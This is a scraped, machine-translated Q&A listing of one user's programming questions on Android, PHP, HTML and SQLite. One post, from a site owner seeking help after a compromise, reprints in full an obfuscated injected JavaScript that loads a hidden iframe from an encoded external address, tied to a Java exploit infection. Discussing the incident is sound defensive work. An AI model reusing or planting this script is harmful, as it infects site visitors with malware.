小编caw*_*caw的帖子

仅在特定设备上的SurfaceView中的ANR - 唯一的解决方案是短暂的睡眠时间

在我的Android应用程序中,我用a SurfaceView来绘制东西.它在数千台设备上运行良好 - 除了现在用户开始在以下设备上报告ANR:

  • LG G4
    • Android 5.1
    • 3 GB RAM
    • 5.5"显示
    • 2560 x 1440 px分辨率
  • 索尼Xperia Z4
    • Android 5.0
    • 3 GB RAM
    • 5,2"显示
    • 1920 x 1080 px分辨率
  • 华为Ascend Mate 7
    • Android 5.1
    • 3 GB RAM
    • 6.0"显示
    • 1920 x 1080 px分辨率
  • HTC M9
    • Android 5.1
    • 3 GB RAM
    • 5.0"显示
    • 1920 x 1080 px分辨率

所以我得到了LG G4,确实能够验证问题.它与...直接相关SurfaceView.

现在猜猜经过几个小时的调试后修复了什么问题?它正在取代......

mSurfaceHolder.unlockCanvasAndPost(c);
Run Code Online (Sandbox Code Playgroud)

...... ......

mSurfaceHolder.unlockCanvasAndPost(c);
System.out.println("123"); // THIS IS THE FIX
Run Code Online (Sandbox Code Playgroud)

怎么会这样?

以下代码是我的渲染线程,除了提到的设备之外一直工作正常:

import android.graphics.Canvas;
import android.view.SurfaceHolder;

public class MyThread extends Thread …
Run Code Online (Sandbox Code Playgroud)

java android surfaceview android-anr-dialog

18
推荐指数
1
解决办法
796
查看次数

在php中生成加密安全的随机数

PHP的rand()功能不能提供良好的随机数.所以我开始使用mt_rand(),据说可以提供更好的结果.但这些结果有多好?有没有什么方法可以再次改善它们?

我的想法:

function rand_best($min, $max) {
    $generated = array();
    for ($i = 0; $i < 100; $i++) {
        $generated[] = mt_rand($min, $max);
    }
    shuffle($generated);
    $position = mt_rand(0, 99);
    return $generated[$position];
}
Run Code Online (Sandbox Code Playgroud)

这应该给你"完美"的随机数,不应该吗?

php security random

17
推荐指数
6
解决办法
3万
查看次数

欧元签到HTML

欧元(€)是22个欧洲国家的官方货币.

在HTML中,有不同的可能性来显示标志€:

  • &euro;
  • &#8364;
  • &#x20AC;

你会在HTML中使用哪一个?我认为并非所有浏览器都支持任何表示形式.遗憾的是,没有标准的方式来显示标志.

你能推荐一种陈述吗?有什么区别?哪种支持最好?

我希望你能帮助我.非常感谢你提前!

html xhtml sign euro

17
推荐指数
2
解决办法
3万
查看次数

将MD5哈希表示为整数

在我的用户数据库表中,我将用户的电子邮件地址的MD5哈希值作为id.

例: email(example@example.org) = id(d41d8cd98f00b204e9800998ecf8427e)

不幸的是,我现在必须将id表示为整数值 - 以便能够使用其中id只能是整数的API.

现在我正在寻找一种方法将id编码为一个整数,以便在接收时再次发送解码.我怎么能这样做?

我的想法到目前为止:

  1. convert_uuencode()convert_uudecode()为MD5哈希
  2. 用其ord()值替换MD5哈希的每个字符

哪种方法更好?你知道更好的方法吗?

我希望你能帮助我.非常感谢你提前!

php string hash integer md5

17
推荐指数
3
解决办法
4万
查看次数

PHP脚本:最后的恶意JavaScript代码

问题:

在我的网站空间上有PHP文件,所有这些都以此结尾:

<?php include 'footer.php'; ?>
Run Code Online (Sandbox Code Playgroud)

在此行之前,文件中还有HTML代码.

浏览器中的输出以此结束,当然:

</body>
</html>
Run Code Online (Sandbox Code Playgroud)

但昨天,最后突然出现了一些恶意代码.我的index.php的输出是:

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
Run Code Online (Sandbox Code Playgroud)

我在我的网站空间上打开了文件(通过FTP下载),我看到有人把这个代码放到了文件中!

怎么会发生这种情况?

我能想象的唯一方法:

  • 有人拿到了我的FTP密码.但他不仅会把它放在一个文件中.他本可以造成更多伤害.所以我无法想象这种情况.
  • 我自己的电脑上有病毒.我使用Notepad ++进行编辑,使用FileZilla进行上传.也许这些程序也被污染了,我上传了恶意代码 - 不知道.
  • 有人使用安全漏洞(XSS)将该代码放入页面.但是他不能把它直接放到文件中,不是吗?

症状:

用户报告在Firefox中弹出一个蓝色面板.它要求他们安装一个插件.现在他们中的一些人在他们的PC上有Exploit.Java.CVE-2010-0886.a.

这是由于恶​​意代码?代码到底做了什么?

你能帮助我吗?

请帮帮我,我真的很绝望.

也许还有一个问题,如果你知道我怎么能得到它:我怎么能在将来阻止这样的事情呢?

编辑#1:

我在我的网站空间的根目录中找到了一个名为"x76x09.php"的文件.它的文件大小为44.281字节.我已下载并尝试打开它.但我的防病毒软件称它是一种木马(Trojan.Script.224490).我认为此文件已被执行并将恶意代码添加到每个目录中的"index.php".这有帮助吗?该木马如何进入我的网站空间?这是一个众所周知的病毒吗?

编辑#2:

我的主机说他现在可以确定该文件没有通过FTP上传.所以感染不是通过FTP发生的.根据我的主机,它必须是不安全的脚本.

编辑#3:

根据PHPSecInfo的安全漏洞:

  • allow_url_fopen = 1
  • allow_url_include = 1
  • expose_php = 1
  • file_uploads = 1(这是恶意"x76x09.php"文件的罪魁祸首吗?)
  • group_id = 99
  • user_id = 99

编辑#4:

我已经分析了在我的网络服务器上执行的文件.这是结果. …

javascript php security virus

17
推荐指数
2
解决办法
3478
查看次数

使用自定义parcelable类在Android应用中解组错误

对于我的Android应用程序,我得到了几个解组错误,尽管我认为我已经完成了通过Parcelables 正确保存和加载对象所需的一切.你能告诉我我的代码有什么问题吗?

错误1:

java.lang.RuntimeException: Unable to start activity ComponentInfo
Caused by: java.lang.RuntimeException: Parcel android.os.Parcel@41279860: Unmarshalling unknown type code 6619241 at offset 1372
at android.os.Parcel.readValue(Parcel.java:1922)
at android.os.Parcel.readMapInternal(Parcel.java:2094)
at android.os.Bundle.unparcel(Bundle.java:223)
at android.os.Bundle.getParcelable(Bundle.java:1158)
at android.app.Activity.onCreate(Activity.java:860)
at my.app.package.PlayComputer.onCreate(PlayComputer.java:1012)
at android.app.Activity.performCreate(Activity.java:4465)
Run Code Online (Sandbox Code Playgroud)

在1012行MyActivity是调用super.onCreate(savedInstanceState);ActivityonCreate().

protected void onSaveInstanceState(Bundle savedInstanceState) {
    if (myObject == null) {
        savedInstanceState.putParcelable("myObject", null);
    }
    else {
        savedInstanceState.putParcelable("myObject", myObject);
    }
    savedInstanceState.putInt(...);
    savedInstanceState.putString(...);
    savedInstanceState.putBoolean(...);
    super.onSaveInstanceState(savedInstanceState);
}
Run Code Online (Sandbox Code Playgroud)

myObject是一类MyObject具有以下方法:

public void writeToParcel(Parcel out, int flags) …
Run Code Online (Sandbox Code Playgroud)

android exception parcelable runtimeexception

17
推荐指数
1
解决办法
1万
查看次数

Google Play游戏服务多人游戏,具有活动切换功能

在我的Android游戏中,我有一个回合制的多人游戏.用户在大厅等待对手,只要恰好有3个匹配,他们就会一起去一个新的游戏室,这是另一个活动而不是大厅.

文档建议让活动扩展BaseGameActivity.但是当我在玩家已经连接时切换活动时,我不需要将连接部分放在我的活动随后绑定的服务中吗?

有没有人尝试使用游戏服务?如果我不能使用BaseGameActivity,如何开始?

android multiplayer google-play-services

16
推荐指数
1
解决办法
4971
查看次数

1对1票:计算评级(Flickchart.com)

我不想评分等级为1到10的项目,而是希望进行1对1"战斗".两个项目彼此相邻显示,您可以选择一个您喜欢的项目.基于这些"战斗"结果,算法应计算每个项目的评级.

你可以在Flickchart.com上看到这种方法,这种方法对电影进行评级.

它看起来像这样:

截图http://i45.tinypic.com/2nv3ugy.jpg

如你所见,如果物品赢得"战斗",物品就会向上推.排名总是根据"战斗"结果而变化.但这不能仅仅取决于胜利报价(这里是54%),因为对抗"泰坦尼克号"比赢得"25小时"左右更难.

有一些事情对我来说还不太清楚: - 收视率是如何计算的?你如何决定哪部电影在排名中位居第一?你必须考虑一个项目获胜的频率以及被打败的项目有多好. - 如何选择哪些项目"打架"?

当然,你无法告诉我Flickchart是如何做到的.但也许你可以告诉我它是如何做到的.提前致谢!

statistics charts voting ranking

15
推荐指数
2
解决办法
2410
查看次数

操作栏:适用于较旧Android版本的最佳做法

我希望在我的应用程序顶部有一个菜单栏 - 就像Facebook,Google +或Twitter一样:

这是Twitter应用程序的屏幕截图,显示了这个栏:它显示在每个活动中,左侧是公司徽标(可点击),右侧是1-3个菜单项(可点击图片).

在此输入图像描述

它也可以在GDCatalog应用程序中看到:

在此输入图像描述

因此,该操作栏有一些要求:

  • 它也必须适用于较旧的Android平台,例如API级别8.
  • 它必须在每个活动中都可用,而不必一次又一次地重复代码.
  • 它必须适应屏幕尺寸,以便占据整个宽度.

实施此类操作栏的最佳做法是什么?

GreenDroid就是这样(使用合并):

<?xml version="1.0" encoding="utf-8"?>

<!--
/*
** Copyright (C) 2010 Cyril Mottier (http://www.cyrilmottier.com)
**
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
**
**     http://www.apache.org/licenses/LICENSE-2.0
**
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is …
Run Code Online (Sandbox Code Playgroud)

navigation user-interface android titlebar

15
推荐指数
1
解决办法
1万
查看次数

在Android中预先填充数据库的最快,最有效的方法

如果你想在Android中预先填充数据库(SQLite),这并不像人们想象的那么容易.

所以我发现这个教程也经常在Stack Overflow上引用.

但是我不喜欢这种预先填充数据库的方式,因为你从数据库处理程序中获取控件并自己创建文件.我宁愿不触摸文件系统,让数据库处理程序自己完成所有事情.

所以我认为可以做的就是像往常一样在数据库处理程序的onCreate()中创建数据库,然后从/ assets加载一个文件(.sql),其中包含要填充值的语句:

INSERT INTO testTable (name, pet) VALUES ('Mike', 'Tiger');
INSERT INTO testTable (name, pet) VALUES ('Tom', 'Cat');
...
Run Code Online (Sandbox Code Playgroud)

但是在处理程序的onCreate()中调用execSQL()并不能真正起作用.似乎/ assets文件的大小不得超过1MB,而execSQL()只执行第一个语句(Mike-Tiger).

你会做什么做预先填充数据库?

sql database sqlite android

13
推荐指数
1
解决办法
2万
查看次数